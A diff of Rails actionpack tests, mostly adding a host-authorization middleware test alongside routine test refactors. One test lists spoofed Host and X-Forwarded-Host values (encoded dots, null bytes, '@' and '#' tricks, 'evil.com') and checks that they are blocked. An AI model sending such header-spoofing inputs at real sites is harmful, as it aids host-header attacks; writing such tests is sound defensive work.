@@ -154,7 +156,7 @@ def make_headers(hash)
     env = { "HTTP_REFERER" => "/" }
     headers = make_headers(env)
     headers["Referer"] = "http://example.com/"
-    headers.merge! "CONTENT_TYPE" => "text/plain"
+    headers["CONTENT_TYPE"] = "text/plain"
     assert_equal({ "HTTP_REFERER" => "http://example.com/",
                   "CONTENT_TYPE" => "text/plain" }, env)
   end
diff --git a/actionpack/test/dispatch/host_authorization_test.rb b/actionpack/test/dispatch/host_authorization_test.rb
new file mode 100644
index 0000000000000..9c3f6d26fe8be
--- /dev/null
+++ b/actionpack/test/dispatch/host_authorization_test.rb
@@ -0,0 +1,509 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "ipaddr"
+
+class HostAuthorizationTest < ActionDispatch::IntegrationTest
+  App = -> env { [200, {}, %w(Success)] }
+
+  test "blocks requests to unallowed host with empty body" do
+    @app = build_app(%w(only.com))
+
+    get "/"
+
+    assert_response :forbidden
+    assert_empty response.body
+  end
+
+  test "renders debug info when all requests considered as local" do
+    @app = build_app(%w(only.com))
+
+    get "/", env: { "action_dispatch.show_detailed_exceptions" => true }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: www.example.com", response.body
+  end
+
+  test "allows all requests if hosts is empty" do
+    @app = build_app(nil)
+
+    get "/"
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "hosts can be a single element array" do
+    @app = build_app(%w(www.example.com))
+
+    get "/"
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "hosts can be a string" do
+    @app = build_app("www.example.com")
+
+    get "/"
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "hosts are matched case insensitive" do
+    @app = build_app("Example.local")
+
+    get "/", env: {
+      "HOST" => "example.local",
+    }
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "hosts are matched case insensitive with titlecased host" do
+    @app = build_app("example.local")
+
+    get "/", env: {
+      "HOST" => "Example.local",
+    }
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "hosts are matched case insensitive with hosts array" do
+    @app = build_app(["Example.local"])
+
+    get "/", env: {
+      "HOST" => "example.local",
+    }
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "regex matches are not title cased" do
+    @app = build_app([/www.Example.local/])
+
+    get "/", env: {
+      "HOST" => "www.example.local",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: www.example.local", response.body
+  end
+
+  test "passes requests to allowed hosts with domain name notation" do
+    @app = build_app(".example.com")
+
+    get "/"
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "does not allow domain name notation in the HOST header itself" do
+    @app = build_app(".example.com")
+
+    get "/", env: {
+      "HOST" => ".example.com",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: .example.com", response.body
+  end
+
+  test "checks for requests with #=== to support wider range of host checks" do
+    @app = build_app([-> input { input == "www.example.com" }])
+
+    get "/"
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "mark the host when authorized" do
+    @app = build_app(".example.com")
+
+    get "/"
+
+    assert_equal "www.example.com", request.get_header("action_dispatch.authorized_host")
+  end
+
+  test "sanitizes regular expressions to prevent accidental matches" do
+    @app = build_app([/w.example.co/])
+
+    get "/", env: { "action_dispatch.show_detailed_exceptions" => true }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: www.example.com", response.body
+  end
+
+  test "blocks requests to unallowed host supporting custom responses" do
+    @app = build_app(["w.example.co"], response_app: -> env do
+      [401, {}, %w(Custom)]
+    end)
+
+    get "/"
+
+    assert_response :unauthorized
+    assert_equal "Custom", body
+  end
+
+  test "localhost works in dev" do
+    @app = build_app(ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT)
+
+    get "/", env: {
+      "HOST" => "localhost:3000",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "localhost using IPV4 works in dev" do
+    @app = build_app(ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT)
+
+    get "/", env: {
+      "HOST" => "127.0.0.1",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "localhost using IPV4 with port works in dev" do
+    @app = build_app(ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT)
+
+    get "/", env: {
+      "HOST" => "127.0.0.1:3000",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "localhost using IPV4 binding in all addresses works in dev" do
+    @app = build_app(ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT)
+
+    get "/", env: {
+      "HOST" => "0.0.0.0",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "localhost using IPV4 with port binding in all addresses works in dev" do
+    @app = build_app(ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT)
+
+    get "/", env: {
+      "HOST" => "0.0.0.0:3000",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "localhost using IPV6 works in dev" do
+    @app = build_app(ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT)
+
+    get "/", env: {
+      "HOST" => "[::1]",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "localhost using IPV6 with port works in dev" do
+    @app = build_app(ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT)
+
+    get "/", env: {
+      "HOST" => "[::1]:3000",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "localhost using IPV6 binding in all addresses works in dev" do
+    @app = build_app(ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT)
+
+    get "/", env: {
+      "HOST" => "[::]",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "localhost using IPV6 with port binding in all addresses works in dev" do
+    @app = build_app(ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT)
+
+    get "/", env: {
+      "HOST" => "[::]:3000",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "hosts with port works" do
+    @app = build_app(["host.test"])
+
+    get "/", env: {
+      "HOST" => "host.test:3000",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :ok
+    assert_match "Success", response.body
+  end
+
+  test "blocks requests with spoofed X-FORWARDED-HOST" do
+    @app = build_app([IPAddr.new("127.0.0.1")])
+
+    get "/", env: {
+      "HTTP_X_FORWARDED_HOST" => "127.0.0.1",
+      "HOST" => "www.example.com",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: www.example.com", response.body
+  end
+
+  test "blocks requests with spoofed relative X-FORWARDED-HOST" do
+    @app = build_app(["www.example.com"])
+
+    get "/", env: {
+      "HTTP_X_FORWARDED_HOST" => "//randomhost.com",
+      "HOST" => "www.example.com",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: //randomhost.com", response.body
+  end
+
+  test "forwarded secondary hosts are allowed when permitted" do
+    @app = build_app(".domain.com")
+
+    get "/", env: {
+      "HTTP_X_FORWARDED_HOST" => "example.com, my-sub.domain.com",
+      "HOST" => "domain.com",
+    }
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "forwarded secondary hosts are blocked when mismatch" do
+    @app = build_app("domain.com")
+
+    get "/", env: {
+      "HTTP_X_FORWARDED_HOST" => "domain.com, evil.com",
+      "HOST" => "domain.com",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: evil.com", response.body
+  end
+
+  test "does not consider IP addresses in X-FORWARDED-HOST spoofed when disabled" do
+    @app = build_app(nil)
+
+    get "/", env: {
+      "HTTP_X_FORWARDED_HOST" => "127.0.0.1",
+      "HOST" => "www.example.com",
+    }
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "detects localhost domain spoofing" do
+    @app = build_app("localhost")
+
+    get "/", env: {
+      "HTTP_X_FORWARDED_HOST" => "localhost",
+      "HOST" => "www.example.com",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: www.example.com", response.body
+  end
+
+  test "forwarded hosts should be permitted" do
+    @app = build_app("domain.com")
+
+    get "/", env: {
+      "HTTP_X_FORWARDED_HOST" => "sub.domain.com",
+      "HOST" => "domain.com",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: sub.domain.com", response.body
+  end
+
+  test "sub-sub domains should not be permitted" do
+    @app = build_app(".domain.com")
+
+    get "/", env: {
+      "HOST" => "secondary.sub.domain.com",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: secondary.sub.domain.com", response.body
+  end
+
+  test "forwarded hosts are allowed when permitted" do
+    @app = build_app(".domain.com")
+
+    get "/", env: {
+      "HTTP_X_FORWARDED_HOST" => "my-sub.domain.com",
+      "HOST" => "domain.com",
+    }
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "lots of NG hosts" do
+    ng_hosts = [
+      "hacker%E3%80%82com",
+      "hacker%00.com",
+      "www.theirsite.com@yoursite.com",
+      "hacker.com/test/",
+      "hacker%252ecom",
+      ".hacker.com",
+      "/\/\/hacker.com/",
+      "/hacker.com",
+      "../hacker.com",
+      ".hacker.com",
+      "@hacker.com",
+      "hacker.com",
+      "hacker.com%23@example.com",
+      "hacker.com/.jpg",
+      "hacker.com\texample.com/",
+      "hacker.com/example.com",
+      "hacker.com\@example.com",
+      "hacker.com/example.com",
+      "hacker.com/"
+    ]
+
+    @app = build_app("example.com")
+
+    ng_hosts.each do |host|
+      get "/", env: {
+        "HTTP_X_FORWARDED_HOST" => host,
+        "HOST" => "example.com",
+        "action_dispatch.show_detailed_exceptions" => true
+      }
+
+      assert_response :forbidden
+      assert_match "Blocked hosts: #{host}", response.body
+    end
+  end
+
+  test "exclude matches allow any host" do
+    @app = build_app("only.com", exclude: ->(req) { req.path == "/foo" })
+
+    get "/foo"
+
+    assert_response :ok
+    assert_equal "Success", body
+  end
+
+  test "exclude misses block unallowed hosts" do
+    @app = build_app("only.com", exclude: ->(req) { req.path == "/bar" })
+
+    get "/foo", env: { "action_dispatch.show_detailed_exceptions" => true }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: www.example.com", response.body
+  end
+
+  test "blocks requests with invalid hostnames" do
+    @app = build_app(".example.com", lint: false)
+
+    get "/", env: {
+      "HOST" => "attacker.com#x.example.com",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: attacker.com#x.example.com", response.body
+  end
+
+  test "blocks requests to similar host" do
+    @app = build_app("sub.example.com")
+
+    get "/", env: {
+      "HOST" => "sub-example.com",
+      "action_dispatch.show_detailed_exceptions" => true
+    }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: sub-example.com", response.body
+  end
+
+  test "uses logger from the env" do
+    @app = build_app(%w(only.com))
+    output = StringIO.new
+
+    get "/", env: { "action_dispatch.logger" => Logger.new(output) }
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: www.example.com", output.rewind && output.read
+  end
+
+  test "uses ActionView::Base logger when no logger in the env" do
+    @app = build_app(%w(only.com))
+    output = StringIO.new
+    logger = Logger.new(output)
+
+    _old, ActionView::Base.logger = ActionView::Base.logger, logger
+    begin
+      get "/"
+    ensure
+      ActionView::Base.logger = _old
+    end
+
+    assert_response :forbidden
+    assert_match "Blocked hosts: www.example.com", output.rewind && output.read
+  end
+
+  private
+    def build_app(hosts, exclude: nil, response_app: nil, lint: true, app: App)
+      if lint
+        app = Rack::Lint.new(app)
+      end
+
+      app = ActionDispatch::HostAuthorization.new(app, hosts, exclude: exclude, response_app: response_app)
+
+      if lint
+        Rack::Lint.new(app)
+      end
+
+      app
+    end
+end
diff --git a/actionpack/test/dispatch/live_response_test.rb b/actionpack/test/dispatch/live_response_test.rb
index d10fc7d575fbe..c0a5cb1ed255e 100644
--- a/actionpack/test/dispatch/live_response_test.rb
+++ b/actionpack/test/dispatch/live_response_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "concurrent/atomic/count_down_latch"
 
@@ -10,9 +12,9 @@ def setup
       end
 
       def test_header_merge
-        header = @response.header.merge("Foo" => "Bar")
-        assert_kind_of(ActionController::Live::Response::Header, header)
-        assert_not_equal header, @response.header
+        headers = @response.headers.merge("Foo" => "Bar")
+        assert_kind_of(ActionController::Live::Response::Headers, headers)
+        assert_not_equal headers, @response.headers
       end
 
       def test_initialize_with_default_headers
@@ -22,8 +24,9 @@ def self.default_headers
           end
         end
 
-        header = r.new.header
-        assert_kind_of(ActionController::Live::Response::Header, header)
+        headers = r.create.headers
+        assert_kind_of(ActionController::Live::Response::Headers, headers)
+        assert_equal "g", headers["omg"]
       end
 
       def test_parallel
@@ -49,47 +52,39 @@ def test_setting_body_populates_buffer
         assert_equal ["omg"], @response.body_parts
       end
 
-      def test_cache_control_is_set
+      def test_cache_control_is_set_by_default
         @response.stream.write "omg"
         assert_equal "no-cache", @response.headers["Cache-Control"]
       end
 
-      def test_content_length_is_removed
-        @response.headers["Content-Length"] = "1234"
+      def test_cache_control_is_set_manually
+        @response.set_header("Cache-Control", "public")
         @response.stream.write "omg"
-        assert_nil @response.headers["Content-Length"]
+        assert_equal "public", @response.headers["Cache-Control"]
       end
 
-      def test_headers_cannot_be_written_after_webserver_reads
+      def test_cache_control_no_store_default_standalone
+        @response.set_header("Cache-Control", "no-store")
         @response.stream.write "omg"
-        latch = Concurrent::CountDownLatch.new
-
-        t = Thread.new {
-          @response.each do
-            latch.count_down
-          end
-        }
-
-        latch.wait
-        assert @response.headers.frozen?
-        e = assert_raises(ActionDispatch::IllegalStateError) do
-          @response.headers["Content-Length"] = "zomg"
-        end
+        assert_equal "no-store", @response.headers["Cache-Control"]
+      end
 
-        assert_equal "header already sent", e.message
-        @response.stream.close
-        t.join
+      def test_cache_control_no_store_is_respected
+        @response.set_header("Cache-Control", "public, no-store")
+        @response.stream.write "omg"
+        assert_equal "no-store", @response.headers["Cache-Control"]
       end
 
-      def test_headers_cannot_be_written_after_close
-        @response.stream.close
-        # we can add data until it's actually written, which happens on `each`
-        @response.each { |x| }
+      def test_cache_control_no_store_private
+        @response.set_header("Cache-Control", "private, no-store")
+        @response.stream.write "omg"
+        assert_equal "private, no-store", @response.headers["Cache-Control"]
+      end
 
-        e = assert_raises(ActionDispatch::IllegalStateError) do
-          @response.headers["Content-Length"] = "zomg"
-        end
-        assert_equal "header already sent", e.message
+      def test_content_length_is_removed
+        @response.headers["Content-Length"] = "1234"
+        @response.stream.write "omg"
+        assert_nil @response.headers["Content-Length"]
       end
     end
   end
diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb
index 1596d23b1ea4f..206579bf949bc 100644
--- a/actionpack/test/dispatch/mapper_test.rb
+++ b/actionpack/test/dispatch/mapper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
@@ -12,10 +14,6 @@ def request_class
           ActionDispatch::Request
         end
 
-        def dispatcher_class
-          RouteSet::Dispatcher
-        end
-
         def defaults
           routes.map(&:defaults)
         end
@@ -34,7 +32,9 @@ def asts
       end
 
       def test_initialize
-        Mapper.new FakeSet.new
+        assert_nothing_raised do
+          Mapper.new FakeSet.new
+        end
       end
 
       def test_scope_raises_on_anchor
@@ -89,8 +89,8 @@ def test_mapping_requirements
         options = {}
         scope = Mapper::Scope.new({})
         ast = Journey::Parser.parse "/store/:name(*rest)"
-        m = Mapper::Mapping.build(scope, FakeSet.new, ast, "foo", "bar", nil, [:get], nil, {}, true, options)
-        assert_equal(/.+?/, m.requirements[:rest])
+        m = Mapper::Mapping.build(scope, FakeSet.new, ast, "foo", "bar", nil, [:get], nil, {}, true, nil, options)
+        assert_equal(/.+?/m, m.requirements[:rest])
       end
 
       def test_via_scope
@@ -125,7 +125,6 @@ def test_map_more_slashes
         fakeset = FakeSet.new
         mapper = Mapper.new fakeset
 
-        # FIXME: is this a desired behavior?
         mapper.get "/one/two/", to: "posts#index", as: :main
         assert_equal "/one/two(.:format)", fakeset.asts.first.to_s
       end
@@ -135,7 +134,7 @@ def test_map_wildcard
         mapper = Mapper.new fakeset
         mapper.get "/*path", to: "pages#show"
         assert_equal "/*path(.:format)", fakeset.asts.first.to_s
-        assert_equal(/.+?/, fakeset.requirements.first[:path])
+        assert_equal(/.+?/m, fakeset.requirements.first[:path])
       end
 
       def test_map_wildcard_with_other_element
@@ -143,7 +142,7 @@ def test_map_wildcard_with_other_element
         mapper = Mapper.new fakeset
         mapper.get "/*path/foo/:bar", to: "pages#show"
         assert_equal "/*path/foo/:bar(.:format)", fakeset.asts.first.to_s
-        assert_equal(/.+?/, fakeset.requirements.first[:path])
+        assert_equal(/.+?/m, fakeset.requirements.first[:path])
       end
 
       def test_map_wildcard_with_multiple_wildcard
@@ -151,8 +150,8 @@ def test_map_wildcard_with_multiple_wildcard
         mapper = Mapper.new fakeset
         mapper.get "/*foo/*bar", to: "pages#show"
         assert_equal "/*foo/*bar(.:format)", fakeset.asts.first.to_s
-        assert_equal(/.+?/, fakeset.requirements.first[:foo])
-        assert_equal(/.+?/, fakeset.requirements.first[:bar])
+        assert_equal(/.+?/m, fakeset.requirements.first[:foo])
+        assert_equal(/.+?/m, fakeset.requirements.first[:bar])
       end
 
       def test_map_wildcard_with_format_false
@@ -170,6 +169,15 @@ def test_map_wildcard_with_format_true
         assert_equal "/*path.:format", fakeset.asts.first.to_s
       end
 
+      def test_can_pass_anchor_to_mount
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        app = lambda { |env| [200, {}, [""]] }
+        mapper.mount app => "/path", anchor: true
+        assert_equal "/path", fakeset.asts.first.to_s
+        assert fakeset.routes.first.path.anchored
+      end
+
       def test_raising_error_when_path_is_not_passed
         fakeset = FakeSet.new
         mapper = Mapper.new fakeset
@@ -191,6 +199,16 @@ def test_raising_error_when_rack_app_is_not_passed
         end
       end
 
+      def test_raising_error_when_invalid_on_option_is_given
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        error = assert_raise ArgumentError do
+          mapper.get "/foo", on: :invalid_option
+        end
+
+        assert_equal "Unknown scope :invalid_option given to :on", error.message
+      end
+
       def test_scope_does_not_destructively_mutate_default_options
         fakeset = FakeSet.new
         mapper = Mapper.new fakeset
@@ -203,6 +221,63 @@ def test_scope_does_not_destructively_mutate_default_options
           end
         end
       end
+
+      def test_deprecated_hash
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.get "/foo", { to: "home#index" }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.post "/foo", { to: "home#index" }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.put "/foo", { to: "home#index" }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.patch "/foo", { to: "home#index" }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.delete "/foo", { to: "home#index" }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.options "/foo", { to: "home#index" }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.connect "/foo", { to: "home#index" }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.match "/foo", { to: "home#index", via: :get }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.mount(lambda { |env| [200, {}, [""]] }, { at: "/" })
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.scope("/hello", { only: :get }) { }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.namespace(:admin, { module: "sekret" }) { }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.resource(:user, { only: :show }) { }
+        end
+
+        assert_deprecated(ActionDispatch.deprecator) do
+          mapper.resources(:users, { only: :show }) { }
+        end
+      end
     end
   end
 end
diff --git a/actionpack/test/dispatch/middleware_stack_test.rb b/actionpack/test/dispatch/middleware_stack_test.rb
index 481aa22b1079d..cdb6d5fa43d4f 100644
--- a/actionpack/test/dispatch/middleware_stack_test.rb
+++ b/actionpack/test/dispatch/middleware_stack_test.rb
@@ -1,13 +1,26 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class MiddlewareStackTest < ActiveSupport::TestCase
-  class FooMiddleware; end
-  class BarMiddleware; end
-  class BazMiddleware; end
-  class HiyaMiddleware; end
-  class BlockMiddleware
+  class Base
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      @app.call(env)
+    end
+  end
+
+  class FooMiddleware < Base; end
+  class BarMiddleware < Base; end
+  class BazMiddleware < Base; end
+  class HiyaMiddleware < Base; end
+  class BlockMiddleware < Base
     attr_reader :block
-    def initialize(&block)
+    def initialize(app, &block)
+      super(app)
       @block = block
     end
   end
@@ -24,6 +37,24 @@ def test_delete_works
     end
   end
 
+  test "delete ignores middleware not in the stack" do
+    assert_no_difference "@stack.size" do
+      @stack.delete BazMiddleware
+    end
+  end
+
+  test "delete! deletes the middleware" do
+    assert_difference "@stack.size", -1 do
+      @stack.delete! FooMiddleware
+    end
+  end
+
+  test "delete! requires the middleware to be in the stack" do
+    assert_raises RuntimeError do
+      @stack.delete! BazMiddleware
+    end
+  end
+
   test "use should push middleware as class onto the stack" do
     assert_difference "@stack.size" do
       @stack.use BazMiddleware
@@ -40,7 +71,7 @@ def test_delete_works
   end
 
   test "use should push middleware class with block arguments onto the stack" do
-    proc = Proc.new {}
+    proc = Proc.new { }
     assert_difference "@stack.size" do
       @stack.use(BlockMiddleware, &proc)
     end
@@ -80,6 +111,60 @@ def test_delete_works
     assert_equal FooMiddleware, @stack[0].klass
   end
 
+  test "move moves middleware at the integer index" do
+    @stack.move(0, BarMiddleware)
+    assert_equal BarMiddleware, @stack[0].klass
+    assert_equal FooMiddleware, @stack[1].klass
+  end
+
+  test "move requires the moved middleware to be in the stack" do
+    assert_raises RuntimeError do
+      @stack.move(0, BazMiddleware)
+    end
+  end
+
+  test "move preserves the arguments of the moved middleware" do
+    @stack.use BazMiddleware, true, foo: "bar"
+    @stack.move_before(FooMiddleware, BazMiddleware)
+
+    assert_equal [true, foo: "bar"], @stack.first.args
+  end
+
+  test "move_before moves middleware before another middleware class" do
+    @stack.move_before(FooMiddleware, BarMiddleware)
+    assert_equal BarMiddleware, @stack[0].klass
+    assert_equal FooMiddleware, @stack[1].klass
+  end
+
+  test "move_after requires the moved middleware to be in the stack" do
+    assert_raises RuntimeError do
+      @stack.move_after(BarMiddleware, BazMiddleware)
+    end
+  end
+
+  test "move_after moves middleware after the integer index" do
+    @stack.insert_after(BarMiddleware, BazMiddleware)
+    @stack.move_after(0, BazMiddleware)
+    assert_equal FooMiddleware, @stack[0].klass
+    assert_equal BazMiddleware, @stack[1].klass
+    assert_equal BarMiddleware, @stack[2].klass
+  end
+
+  test "move_after moves middleware after another middleware class" do
+    @stack.insert_after(BarMiddleware, BazMiddleware)
+    @stack.move_after(BarMiddleware, FooMiddleware)
+    assert_equal BarMiddleware, @stack[0].klass
+    assert_equal FooMiddleware, @stack[1].klass
+    assert_equal BazMiddleware, @stack[2].klass
+  end
+
+  test "move_afters preserves the arguments of the moved middleware" do
+    @stack.use BazMiddleware, true, foo: "bar"
+    @stack.move_after(FooMiddleware, BazMiddleware)
+
+    assert_equal [true, foo: "bar"], @stack[1].args
+  end
+
   test "unshift adds a new middleware at the beginning of the stack" do
     @stack.unshift MiddlewareStackTest::BazMiddleware
     assert_equal BazMiddleware, @stack.first.klass
@@ -107,6 +192,25 @@ def test_delete_works
     assert_equal @stack.last, @stack.last
   end
 
+  test "instruments the execution of middlewares" do
+    notification_name = "process_middleware.action_dispatch"
+
+    assert_notifications_count(notification_name, 2) do
+      assert_notification(notification_name, { middleware: "MiddlewareStackTest::BarMiddleware" }) do
+        assert_notification(notification_name, { middleware: "MiddlewareStackTest::FooMiddleware" }) do
+          app = Rack::Lint.new(
+            @stack.build(Rack::Lint.new(proc { |env| [200, {}, []] }))
+          )
+
+          env = Rack::MockRequest.env_for("", {})
+          assert_nothing_raised do
+            app.call(env)
+          end
+        end
+      end
+    end
+  end
+
   test "includes a middleware" do
     assert_equal true, @stack.include?(ActionDispatch::MiddlewareStack::Middleware.new(BarMiddleware, nil, nil))
   end
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index 2ca03c535a1d8..fe2d7da5ad40f 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class MimeTypeTest < ActiveSupport::TestCase
@@ -28,21 +30,21 @@ class MimeTypeTest < ActiveSupport::TestCase
 
   test "parse text with trailing star at the beginning" do
     accept = "text/*, text/html, application/json, multipart/form-data"
-    expect = [Mime[:html], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:xml], Mime[:yaml], Mime[:json], Mime[:multipart_form]]
+    expect = [Mime[:html], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:vtt], Mime[:markdown], Mime[:xml], Mime[:yaml], Mime[:json], Mime[:multipart_form]]
     parsed = Mime::Type.parse(accept)
-    assert_equal expect, parsed
+    assert_equal expect.map(&:to_s), parsed.map(&:to_s)
   end
 
   test "parse text with trailing star in the end" do
     accept = "text/html, application/json, multipart/form-data, text/*"
-    expect = [Mime[:html], Mime[:json], Mime[:multipart_form], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:xml], Mime[:yaml]]
+    expect = [Mime[:html], Mime[:json], Mime[:multipart_form], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:vtt], Mime[:markdown], Mime[:xml], Mime[:yaml]]
     parsed = Mime::Type.parse(accept)
-    assert_equal expect, parsed
+    assert_equal expect.map(&:to_s), parsed.map(&:to_s)
   end
 
   test "parse text with trailing star" do
     accept = "text/*"
-    expect = [Mime[:html], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:xml], Mime[:yaml], Mime[:json]]
+    expect = [Mime[:html], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:vtt], Mime[:xml], Mime[:yaml], Mime[:json], Mime[:markdown]]
     parsed = Mime::Type.parse(accept)
     assert_equal expect.map(&:to_s).sort!, parsed.map(&:to_s).sort!
   end
@@ -66,6 +68,12 @@ class MimeTypeTest < ActiveSupport::TestCase
     assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s)
   end
 
+  test "parse with q and media type parameters" do
+    accept = "text/xml,application/xhtml+xml,text/yaml; q=0.3,application/xml,text/html; q=0.8,image/png,text/plain; q=0.5,application/pdf,*/*; encoding=UTF-8; q=0.2"
+    expect = [Mime[:html], Mime[:xml], Mime[:png], Mime[:pdf], Mime[:text], Mime[:yaml], "*/*"]
+    assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s)
+  end
+
   test "parse single media range with q" do
     accept = "text/html;q=0.9"
     expect = [Mime[:html]]
@@ -78,6 +86,24 @@ class MimeTypeTest < ActiveSupport::TestCase
     assert_equal expect, Mime::Type.parse(accept)
   end
 
+  test "parse arbitrary media type parameters with comma" do
+    accept = 'multipart/form-data; boundary="simple, boundary"'
+    expect = [Mime[:multipart_form]]
+    assert_equal expect, Mime::Type.parse(accept)
+  end
+
+  test "parse arbitrary media type parameters with comma and additional media type" do
+    accept = 'multipart/form-data; boundary="simple, boundary", text/xml'
+    expect = [Mime[:multipart_form], Mime[:xml]]
+    assert_equal expect, Mime::Type.parse(accept)
+  end
+
+  test "parse wildcard with arbitrary media type parameters" do
+    accept = '*/*; boundary="simple"'
+    expect = ["*/*"]
+    assert_equal expect, Mime::Type.parse(accept)
+  end
+
   # Accept header send with user HTTP_USER_AGENT: Sunrise/0.42j (Windows XP)
   test "parse broken acceptlines" do
     accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/*,,*/*;q=0.5"
@@ -94,62 +120,61 @@ class MimeTypeTest < ActiveSupport::TestCase
   end
 
   test "custom type" do
-    begin
-      type = Mime::Type.register("image/foo", :foo)
-      assert_equal type, Mime[:foo]
-    ensure
-      Mime::Type.unregister(:foo)
-    end
+    type = Mime::Type.register("image/foo", :foo)
+    assert_equal type, Mime[:foo]
+  ensure
+    Mime::Type.unregister(:foo)
   end
 
   test "custom type with type aliases" do
-    begin
-      Mime::Type.register "text/foobar", :foobar, ["text/foo", "text/bar"]
